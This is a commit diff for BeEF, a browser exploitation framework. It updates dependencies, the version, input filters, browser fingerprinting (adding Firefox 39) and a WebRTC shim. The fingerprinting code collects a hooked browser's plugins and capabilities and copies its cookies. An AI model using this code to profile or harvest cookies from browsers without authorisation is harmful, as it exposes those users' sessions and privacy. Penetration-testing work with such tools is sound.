Merged changed from master branch, disabled ARE rules by default.
This commit is contained in:
1
.ruby-gemset
Normal file
1
.ruby-gemset
Normal file
@@ -0,0 +1 @@
|
||||
beef
|
||||
1
.ruby-version
Normal file
1
.ruby-version
Normal file
@@ -0,0 +1 @@
|
||||
2.1.5
|
||||
78
Gemfile
78
Gemfile
@@ -6,58 +6,60 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
gem "eventmachine"
|
||||
gem "thin"
|
||||
gem "sinatra"
|
||||
gem "rack"
|
||||
gem "em-websocket", "~> 0.3.6" # WebSocket support
|
||||
gem "uglifier", "~> 2.2.1"
|
||||
gem 'eventmachine'
|
||||
gem 'thin'
|
||||
gem 'sinatra'
|
||||
gem 'rack'
|
||||
gem 'em-websocket', '~> 0.3.6' # WebSocket support
|
||||
gem 'uglifier', '~> 2.2.1'
|
||||
gem 'mime-types'
|
||||
|
||||
|
||||
# Windows support
|
||||
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
|
||||
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
|
||||
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
|
||||
gem "therubyracer", "~> 0.11.0beta1"
|
||||
gem "execjs"
|
||||
gem "win32console"
|
||||
elsif !RUBY_PLATFORM.downcase.include?("darwin")
|
||||
gem "therubyracer", "0.11.3"
|
||||
gem "execjs"
|
||||
gem 'therubyracer', '~> 0.11.0beta1'
|
||||
gem 'execjs'
|
||||
gem 'win32console'
|
||||
elsif !RUBY_PLATFORM.downcase.include?('darwin')
|
||||
gem 'therubyracer', '0.11.3'
|
||||
gem 'execjs'
|
||||
end
|
||||
|
||||
|
||||
gem "ansi"
|
||||
gem "term-ansicolor", :require => "term/ansicolor"
|
||||
gem "dm-core"
|
||||
gem "json"
|
||||
gem "data_objects"
|
||||
gem "dm-sqlite-adapter" # SQLite support
|
||||
gem 'ansi'
|
||||
gem 'term-ansicolor', :require => 'term/ansicolor'
|
||||
gem 'dm-core'
|
||||
gem 'json'
|
||||
gem 'data_objects'
|
||||
gem 'dm-sqlite-adapter' # SQLite support
|
||||
#gem dm-postgres-adapter # PostgreSQL support
|
||||
#gem dm-mysql-adapter # MySQL support
|
||||
gem "parseconfig"
|
||||
gem "erubis"
|
||||
gem "dm-migrations"
|
||||
gem "msfrpc-client" # Metasploit Integration extension
|
||||
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension
|
||||
gem "rubyzip", ">= 1.0.0"
|
||||
gem "rubydns", "0.7.0" # DNS extension
|
||||
gem "geoip" # geolocation support
|
||||
gem "dm-serializer" # network extension
|
||||
gem "qr4r" # QRcode extension
|
||||
gem 'parseconfig'
|
||||
gem 'erubis'
|
||||
gem 'dm-migrations'
|
||||
gem 'msfrpc-client' # Metasploit Integration extension
|
||||
#gem 'twitter', '>= 5.0.0' # Twitter Notifications extension
|
||||
gem 'rubyzip', '>= 1.0.0'
|
||||
gem 'rubydns', '0.7.0' # DNS extension
|
||||
gem 'geoip' # geolocation support
|
||||
gem 'dm-serializer' # network extension
|
||||
gem 'qr4r' # QRcode extension
|
||||
|
||||
# For running unit tests
|
||||
if ENV['BEEF_TEST']
|
||||
gem "test-unit"
|
||||
gem "test-unit-full"
|
||||
gem "curb"
|
||||
gem "test-unit"
|
||||
gem "selenium"
|
||||
gem "selenium-webdriver"
|
||||
gem 'test-unit'
|
||||
gem 'test-unit-full'
|
||||
gem 'curb'
|
||||
gem 'selenium'
|
||||
gem 'selenium-webdriver'
|
||||
gem 'rspec'
|
||||
# nokogirl is needed by capybara which may require one of the below commands
|
||||
# sudo apt-get install libxslt-dev libxml2-dev
|
||||
# sudo port install libxml2 libxslt
|
||||
gem "capybara"
|
||||
gem 'capybara'
|
||||
# RESTful API tests/generic command module tests
|
||||
gem "rest-client", "~> 1.6.7"
|
||||
gem 'rest-client', '~> 1.6.7'
|
||||
end
|
||||
|
||||
source "http://rubygems.org"
|
||||
source 'http://rubygems.org'
|
||||
|
||||
89
Gemfile.lock
Normal file
89
Gemfile.lock
Normal file
@@ -0,0 +1,89 @@
|
||||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
addressable (2.3.6)
|
||||
ansi (1.4.3)
|
||||
daemons (1.1.9)
|
||||
data_objects (0.10.14)
|
||||
addressable (~> 2.1)
|
||||
dm-core (1.2.1)
|
||||
addressable (~> 2.3)
|
||||
dm-do-adapter (1.2.0)
|
||||
data_objects (~> 0.10.6)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-migrations (1.2.0)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-sqlite-adapter (1.2.0)
|
||||
dm-do-adapter (~> 1.2.0)
|
||||
do_sqlite3 (~> 0.10.6)
|
||||
do_sqlite3 (0.10.14)
|
||||
data_objects (= 0.10.14)
|
||||
em-websocket (0.3.8)
|
||||
addressable (>= 2.1.1)
|
||||
eventmachine (>= 0.12.9)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.0.7)
|
||||
execjs (2.0.2)
|
||||
geoip (1.4.0)
|
||||
json (1.8.1)
|
||||
librex (0.0.68)
|
||||
libv8 (3.11.8.17)
|
||||
msfrpc-client (1.0.1)
|
||||
librex (>= 0.0.32)
|
||||
msgpack (>= 0.4.5)
|
||||
msgpack (0.5.8)
|
||||
multi_json (1.9.3)
|
||||
parseconfig (1.0.4)
|
||||
rack (1.5.2)
|
||||
rack-protection (1.5.3)
|
||||
rack
|
||||
rainbow (2.0.0)
|
||||
ref (1.0.5)
|
||||
rexec (1.6.3)
|
||||
rainbow
|
||||
rubydns (0.7.0)
|
||||
eventmachine (~> 1.0.0)
|
||||
rexec (~> 1.6.2)
|
||||
rubyzip (1.1.3)
|
||||
sinatra (1.4.2)
|
||||
rack (~> 1.5, >= 1.5.2)
|
||||
rack-protection (~> 1.4)
|
||||
tilt (~> 1.3, >= 1.3.4)
|
||||
term-ansicolor (1.1.5)
|
||||
therubyracer (0.11.3)
|
||||
libv8 (~> 3.11.8.12)
|
||||
ref
|
||||
thin (1.6.2)
|
||||
daemons (>= 1.0.9)
|
||||
eventmachine (>= 1.0.0)
|
||||
rack (>= 1.0.0)
|
||||
tilt (1.4.1)
|
||||
uglifier (2.2.1)
|
||||
execjs (>= 0.3.0)
|
||||
multi_json (~> 1.0, >= 1.0.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
ansi
|
||||
data_objects
|
||||
dm-core
|
||||
dm-migrations
|
||||
dm-sqlite-adapter
|
||||
em-websocket (~> 0.3.6)
|
||||
erubis
|
||||
eventmachine (= 1.0.3)
|
||||
execjs
|
||||
geoip
|
||||
json
|
||||
msfrpc-client
|
||||
parseconfig
|
||||
rack (= 1.5.2)
|
||||
rubydns (= 0.7.0)
|
||||
rubyzip (>= 1.0.0)
|
||||
sinatra (= 1.4.2)
|
||||
term-ansicolor
|
||||
therubyracer (= 0.11.3)
|
||||
thin
|
||||
uglifier (~> 2.2.1)
|
||||
@@ -33,8 +33,10 @@ Installation
|
||||
|
||||
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
|
||||
|
||||
Other than that, you also need TheRubyRacer. As it's painful to install it on Windows, you can download 2 pre-compiled V8 DLLs and 2 gems from https://github.com/hiranpeiris/therubyracer_for_windows.
|
||||
Other than that, you also need TheRubyRacer. As it's painful to install it on Windows, you can download 2 pre-compiled V8 DLLs and 2 gems from https://github.com/eakmotion/therubyracer_for_windows.
|
||||
|
||||
Finally, edit beef's gem lock file by replacing the required ruby racer version with the version downloaded from the link above.
|
||||
|
||||
3. Prerequisites (Linux)
|
||||
|
||||
!!! This must be done PRIOR to running the bundle install command !!!
|
||||
|
||||
4
README
4
README
@@ -24,7 +24,9 @@ Please, send us pull requests!
|
||||
|
||||
Web: http://beefproject.com/
|
||||
|
||||
Mail: beef-subscribe@bindshell.net
|
||||
Bugs: https://github.com/beefproject/beef
|
||||
|
||||
Security Bugs: security@beefproject.com
|
||||
|
||||
IRC: ircs://irc.freenode.net/beefproject
|
||||
|
||||
|
||||
@@ -24,7 +24,9 @@ __Please, send us pull requests!__
|
||||
|
||||
__Web:__ http://beefproject.com/
|
||||
|
||||
__Mail:__ beef-subscribe@bindshell.net
|
||||
__Bugs:__ https://github.com/beefproject/beef
|
||||
|
||||
__Security Bugs:__ security@beefproject.com
|
||||
|
||||
__IRC:__ ircs://irc.freenode.net/beefproject
|
||||
|
||||
|
||||
2
VERSION
2
VERSION
@@ -4,4 +4,4 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
0.4.6.0-alpha
|
||||
0.4.6.1-alpha
|
||||
|
||||
0
arerules/enabled/README
Normal file
0
arerules/enabled/README
Normal file
2
beef
2
beef
@@ -35,7 +35,7 @@ require 'core/loader'
|
||||
if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
|
||||
config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
|
||||
else
|
||||
config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
|
||||
config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
|
||||
end
|
||||
|
||||
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.6.0-alpha'
|
||||
version: '0.4.6.1-alpha'
|
||||
# More verbose messages (server-side)
|
||||
debug: false
|
||||
# More verbose messages (client-side)
|
||||
@@ -163,6 +163,9 @@ beef:
|
||||
enable: false
|
||||
ipec:
|
||||
enable: true
|
||||
# this is still experimental, we're working on it..
|
||||
# this is still experimental..
|
||||
dns:
|
||||
enable: true
|
||||
# this is still experimental..
|
||||
dns_rebinding:
|
||||
enable: false
|
||||
|
||||
@@ -22,7 +22,7 @@ module Filters
|
||||
# @return [Boolean] Whether or not the only characters in str are specified in chars
|
||||
def self.only?(chars, str)
|
||||
regex = Regexp.new('[^' + chars + ']')
|
||||
regex.match(str).nil?
|
||||
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
# Check if one or more characters in 'chars' are in 'str'
|
||||
@@ -31,7 +31,7 @@ module Filters
|
||||
# @return [Boolean] Whether one of the characters exists in the string
|
||||
def self.exists?(chars, str)
|
||||
regex = Regexp.new(chars)
|
||||
not regex.match(str).nil?
|
||||
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
# Check for null char
|
||||
@@ -142,6 +142,15 @@ module Filters
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if the given string is a valid TCP port
|
||||
# @param [String] port string for testing
|
||||
# @return [Boolean] true if the string is a valid TCP port, otherwise false
|
||||
def self.is_valid_port?(port)
|
||||
valid = false
|
||||
valid = true if port.to_i > 0 && port.to_i < 2**16
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if string is a valid domain name
|
||||
# @param [String] domain string for testing
|
||||
# @return [Boolean] If the string is a valid domain name
|
||||
|
||||
@@ -16,6 +16,7 @@ require 'base64'
|
||||
require 'xmlrpc/client'
|
||||
require 'openssl'
|
||||
require 'rubydns'
|
||||
require 'mime/types'
|
||||
|
||||
# @note Include the filters
|
||||
require 'core/filters'
|
||||
|
||||
@@ -405,12 +405,20 @@ beef.browser = {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF39
|
||||
* @example: beef.browser.isFF39()
|
||||
*/
|
||||
isFF39: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF.
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function () {
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38();
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39();
|
||||
|
||||
},
|
||||
|
||||
@@ -1149,6 +1157,7 @@ beef.browser = {
|
||||
FF36: this.isFF36(), // Firefox 36
|
||||
FF37: this.isFF37(), // Firefox 37
|
||||
FF38: this.isFF38(), // Firefox 38
|
||||
FF39: this.isFF39(), // Firefox 39
|
||||
FF: this.isFF(), // Firefox any version
|
||||
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
@@ -1592,6 +1601,10 @@ beef.browser = {
|
||||
return '38'
|
||||
}
|
||||
; // Firefox 38
|
||||
if (this.isFF39()) {
|
||||
return '39'
|
||||
}
|
||||
; // Firefox 39
|
||||
|
||||
if (this.isIE6()) {
|
||||
return '6'
|
||||
@@ -2117,16 +2130,6 @@ beef.browser = {
|
||||
catch (e) {
|
||||
}
|
||||
}},
|
||||
'Silverlight_Plug-In': {
|
||||
'control': 'Silverlight Plug-In',
|
||||
'return': function (control) {
|
||||
try {
|
||||
version = navigator.plugins['Silverlight Plug-In']["description"];
|
||||
return 'Silverlight Plug-In Version ' + version;//+ " description "+ filename;
|
||||
}
|
||||
catch (e) {
|
||||
}
|
||||
}},
|
||||
'FoxitReader_Plugin': {
|
||||
'control': 'FoxitReader Plugin',
|
||||
'return': function (control) {
|
||||
@@ -2314,14 +2317,14 @@ beef.browser = {
|
||||
var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
|
||||
var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
|
||||
var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
|
||||
var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
|
||||
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
|
||||
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
|
||||
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
|
||||
try {
|
||||
var cookies = document.cookie;
|
||||
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie")) ? "Yes" : "No";
|
||||
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie")) ? "Yes" : "No";
|
||||
var veglol = beef.browser.cookie.veganLol();
|
||||
var has_session_cookies = (beef.browser.cookie.hasSessionCookies(veglol)) ? "Yes" : "No";
|
||||
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies(veglol)) ? "Yes" : "No";
|
||||
if (cookies) details['Cookies'] = cookies;
|
||||
if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies;
|
||||
if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies;
|
||||
@@ -2361,7 +2364,6 @@ beef.browser = {
|
||||
if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
|
||||
if (has_webrtc) details['HasWebRTC'] = has_webrtc;
|
||||
if (has_activex) details['HasActiveX'] = has_activex;
|
||||
if (has_silverlight) details['HasSilverlight'] = has_silverlight;
|
||||
if (has_quicktime) details['HasQuickTime'] = has_quicktime;
|
||||
if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
|
||||
if (has_wmp) details['HasWMP'] = has_wmp;
|
||||
|
||||
@@ -71,12 +71,36 @@ beef.browser.cookie = {
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
|
||||
},
|
||||
|
||||
veganLol: function (){
|
||||
var to_hell= '';
|
||||
var min = 17;
|
||||
var max = 25;
|
||||
var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
|
||||
var grunt = function(){
|
||||
var moo = Math.floor(Math.random() * 62);
|
||||
var char = '';
|
||||
if(moo < 36){
|
||||
char = String.fromCharCode(moo + 55);
|
||||
}else{
|
||||
char = String.fromCharCode(moo + 61);
|
||||
}
|
||||
if(char != ';' && char != '='){
|
||||
return char;
|
||||
}else{
|
||||
return 'x';
|
||||
}
|
||||
};
|
||||
|
||||
while(to_hell.length < lol_length){
|
||||
to_hell += grunt();
|
||||
}
|
||||
return to_hell;
|
||||
},
|
||||
|
||||
hasSessionCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', '', '/', '', '' );
|
||||
hasSessionCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
@@ -84,11 +108,8 @@ beef.browser.cookie = {
|
||||
|
||||
},
|
||||
|
||||
hasPersistentCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', 1, '/', '', '' );
|
||||
hasPersistentCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
|
||||
@@ -1,190 +1,327 @@
|
||||
var RTCPeerConnection = null;
|
||||
/*
|
||||
* Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
|
||||
*
|
||||
* Use of this source code is governed by a BSD-style license
|
||||
* that can be found in the LICENSE file in the root of the source
|
||||
* tree.
|
||||
*/
|
||||
|
||||
/* More information about these options at jshint.com/docs/options */
|
||||
/* jshint browser: true, camelcase: true, curly: true, devel: true,
|
||||
eqeqeq: true, forin: false, globalstrict: true, node: true,
|
||||
quotmark: single, undef: true, unused: strict */
|
||||
/* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
|
||||
mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
|
||||
/* exported trace,requestUserMedia */
|
||||
|
||||
'use strict';
|
||||
|
||||
var getUserMedia = null;
|
||||
var attachMediaStream = null;
|
||||
var reattachMediaStream = null;
|
||||
var webrtcDetectedBrowser = null;
|
||||
var webrtcDetectedVersion = null;
|
||||
var webrtcMinimumVersion = null;
|
||||
|
||||
function maybeFixConfiguration(pcConfig) {
|
||||
if (pcConfig === null) {
|
||||
return;
|
||||
function trace(text) {
|
||||
// This function is used for logging.
|
||||
if (text[text.length - 1] === '\n') {
|
||||
text = text.substring(0, text.length - 1);
|
||||
}
|
||||
for (var i = 0; i < pcConfig.iceServers.length; i++) {
|
||||
if (pcConfig.iceServers[i].hasOwnProperty('urls')){
|
||||
if (pcConfig.iceServers[i]['urls'].length > 0) {
|
||||
// In FF - we just take the FIRST STUN Server
|
||||
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'][0];
|
||||
} else {
|
||||
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'];
|
||||
}
|
||||
delete pcConfig.iceServers[i]['urls'];
|
||||
}
|
||||
if (window.performance) {
|
||||
var now = (window.performance.now() / 1000).toFixed(3);
|
||||
beef.debug(now + ': ' + text);
|
||||
} else {
|
||||
beef.debug(text);
|
||||
}
|
||||
}
|
||||
|
||||
if (navigator.mozGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = "firefox";
|
||||
webrtcDetectedBrowser = 'firefox';
|
||||
|
||||
// the detected firefox version.
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
|
||||
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
|
||||
|
||||
// the minimum firefox version still supported by adapter.
|
||||
webrtcMinimumVersion = 31;
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
var RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
// .urls is not supported in FF yet.
|
||||
maybeFixConfiguration(pcConfig);
|
||||
return new mozRTCPeerConnection(pcConfig, pcConstraints);
|
||||
}
|
||||
|
||||
// The RTCSessionDescription object.
|
||||
RTCSessionDescription = mozRTCSessionDescription;
|
||||
|
||||
// The RTCIceCandidate object.
|
||||
RTCIceCandidate = mozRTCIceCandidate;
|
||||
|
||||
// Get UserMedia (only difference is the prefix).
|
||||
// Code from Adam Barth.
|
||||
getUserMedia = navigator.mozGetUserMedia.bind(navigator);
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Creates iceServer from the url for FF.
|
||||
createIceServer = function(url, username, password) {
|
||||
var iceServer = null;
|
||||
var url_parts = url.split(':');
|
||||
if (url_parts[0].indexOf('stun') === 0) {
|
||||
// Create iceServer with stun url.
|
||||
iceServer = { 'url': url };
|
||||
} else if (url_parts[0].indexOf('turn') === 0) {
|
||||
if (webrtcDetectedVersion < 27) {
|
||||
// Create iceServer with turn url.
|
||||
// Ignore the transport parameter from TURN url for FF version <=27.
|
||||
var turn_url_parts = url.split("?");
|
||||
// Return null for createIceServer if transport=tcp.
|
||||
if (turn_url_parts.length === 1 ||
|
||||
turn_url_parts[1].indexOf('transport=udp') === 0) {
|
||||
iceServer = {'url': turn_url_parts[0],
|
||||
'credential': password,
|
||||
'username': username};
|
||||
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
if (webrtcDetectedVersion < 38) {
|
||||
// .urls is not supported in FF < 38.
|
||||
// create RTCIceServers with a single url.
|
||||
if (pcConfig && pcConfig.iceServers) {
|
||||
var newIceServers = [];
|
||||
for (var i = 0; i < pcConfig.iceServers.length; i++) {
|
||||
var server = pcConfig.iceServers[i];
|
||||
if (server.hasOwnProperty('urls')) {
|
||||
for (var j = 0; j < server.urls.length; j++) {
|
||||
var newServer = {
|
||||
url: server.urls[j]
|
||||
};
|
||||
if (server.urls[j].indexOf('turn') === 0) {
|
||||
newServer.username = server.username;
|
||||
newServer.credential = server.credential;
|
||||
}
|
||||
newIceServers.push(newServer);
|
||||
}
|
||||
} else {
|
||||
newIceServers.push(pcConfig.iceServers[i]);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// FF 27 and above supports transport parameters in TURN url,
|
||||
// So passing in the full url to create iceServer.
|
||||
iceServer = {'url': url,
|
||||
'credential': password,
|
||||
'username': username};
|
||||
pcConfig.iceServers = newIceServers;
|
||||
}
|
||||
}
|
||||
return iceServer;
|
||||
return new mozRTCPeerConnection(pcConfig, pcConstraints);
|
||||
};
|
||||
|
||||
createIceServers = function(urls, username, password) {
|
||||
var iceServers = [];
|
||||
// Use .url for FireFox.
|
||||
for (i = 0; i < urls.length; i++) {
|
||||
var iceServer = createIceServer(urls[i],
|
||||
username,
|
||||
password);
|
||||
if (iceServer !== null) {
|
||||
iceServers.push(iceServer);
|
||||
}
|
||||
}
|
||||
return iceServers;
|
||||
}
|
||||
// The RTCSessionDescription object.
|
||||
window.RTCSessionDescription = mozRTCSessionDescription;
|
||||
|
||||
// The RTCIceCandidate object.
|
||||
window.RTCIceCandidate = mozRTCIceCandidate;
|
||||
|
||||
// getUserMedia constraints shim.
|
||||
getUserMedia = (webrtcDetectedVersion < 38) ?
|
||||
function(c, onSuccess, onError) {
|
||||
var constraintsToFF37 = function(c) {
|
||||
if (typeof c !== 'object' || c.require) {
|
||||
return c;
|
||||
}
|
||||
var require = [];
|
||||
Object.keys(c).forEach(function(key) {
|
||||
var r = c[key] = (typeof c[key] === 'object') ?
|
||||
c[key] : {ideal: c[key]};
|
||||
if (r.exact !== undefined) {
|
||||
r.min = r.max = r.exact;
|
||||
delete r.exact;
|
||||
}
|
||||
if (r.min !== undefined || r.max !== undefined) {
|
||||
require.push(key);
|
||||
}
|
||||
if (r.ideal !== undefined) {
|
||||
c.advanced = c.advanced || [];
|
||||
var oc = {};
|
||||
oc[key] = {min: r.ideal, max: r.ideal};
|
||||
c.advanced.push(oc);
|
||||
delete r.ideal;
|
||||
if (!Object.keys(r).length) {
|
||||
delete c[key];
|
||||
}
|
||||
}
|
||||
});
|
||||
if (require.length) {
|
||||
c.require = require;
|
||||
}
|
||||
return c;
|
||||
};
|
||||
beef.debug('spec: ' + JSON.stringify(c));
|
||||
c.audio = constraintsToFF37(c.audio);
|
||||
c.video = constraintsToFF37(c.video);
|
||||
beef.debug('ff37: ' + JSON.stringify(c));
|
||||
return navigator.mozGetUserMedia(c, onSuccess, onError);
|
||||
} : navigator.mozGetUserMedia.bind(navigator);
|
||||
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Shim for mediaDevices on older versions.
|
||||
if (!navigator.mediaDevices) {
|
||||
navigator.mediaDevices = {getUserMedia: requestUserMedia,
|
||||
addEventListener: function() { },
|
||||
removeEventListener: function() { }
|
||||
};
|
||||
}
|
||||
navigator.mediaDevices.enumerateDevices =
|
||||
navigator.mediaDevices.enumerateDevices || function() {
|
||||
return new Promise(function(resolve) {
|
||||
var infos = [
|
||||
{kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
|
||||
{kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
|
||||
];
|
||||
resolve(infos);
|
||||
});
|
||||
};
|
||||
|
||||
if (webrtcDetectedVersion < 41) {
|
||||
// Work around http://bugzil.la/1169665
|
||||
var orgEnumerateDevices =
|
||||
navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
|
||||
navigator.mediaDevices.enumerateDevices = function() {
|
||||
return orgEnumerateDevices().catch(function(e) {
|
||||
if (e.name === 'NotFoundError') {
|
||||
return [];
|
||||
}
|
||||
throw e;
|
||||
});
|
||||
};
|
||||
}
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
beef.debug("Attaching media stream");
|
||||
beef.debug('Attaching media stream');
|
||||
element.mozSrcObject = stream;
|
||||
element.play();
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
beef.debug("Reattaching media stream");
|
||||
beef.debug('Reattaching media stream');
|
||||
to.mozSrcObject = from.mozSrcObject;
|
||||
to.play();
|
||||
};
|
||||
|
||||
// Fake get{Video,Audio}Tracks
|
||||
if (!MediaStream.prototype.getVideoTracks) {
|
||||
MediaStream.prototype.getVideoTracks = function() {
|
||||
return [];
|
||||
};
|
||||
}
|
||||
|
||||
if (!MediaStream.prototype.getAudioTracks) {
|
||||
MediaStream.prototype.getAudioTracks = function() {
|
||||
return [];
|
||||
};
|
||||
}
|
||||
} else if (navigator.webkitGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = "chrome";
|
||||
// Temporary fix until crbug/374263 is fixed.
|
||||
// Setting Chrome version to 999, if version is unavailable.
|
||||
var result = navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);
|
||||
if (result !== null) {
|
||||
webrtcDetectedVersion = parseInt(result[2], 10);
|
||||
} else {
|
||||
webrtcDetectedVersion = 999;
|
||||
}
|
||||
webrtcDetectedBrowser = 'chrome';
|
||||
|
||||
// Creates iceServer from the url for Chrome M33 and earlier.
|
||||
createIceServer = function(url, username, password) {
|
||||
var iceServer = null;
|
||||
var url_parts = url.split(':');
|
||||
if (url_parts[0].indexOf('stun') === 0) {
|
||||
// Create iceServer with stun url.
|
||||
iceServer = { 'url': url };
|
||||
} else if (url_parts[0].indexOf('turn') === 0) {
|
||||
// Chrome M28 & above uses below TURN format.
|
||||
iceServer = {'url': url,
|
||||
'credential': password,
|
||||
'username': username};
|
||||
}
|
||||
return iceServer;
|
||||
};
|
||||
// the detected chrome version.
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
|
||||
|
||||
// Creates iceServers from the urls for Chrome M34 and above.
|
||||
createIceServers = function(urls, username, password) {
|
||||
var iceServers = [];
|
||||
if (webrtcDetectedVersion >= 34) {
|
||||
// .urls is supported since Chrome M34.
|
||||
iceServers = {'urls': urls,
|
||||
'credential': password,
|
||||
'username': username };
|
||||
} else {
|
||||
for (i = 0; i < urls.length; i++) {
|
||||
var iceServer = createIceServer(urls[i],
|
||||
username,
|
||||
password);
|
||||
if (iceServer !== null) {
|
||||
iceServers.push(iceServer);
|
||||
}
|
||||
}
|
||||
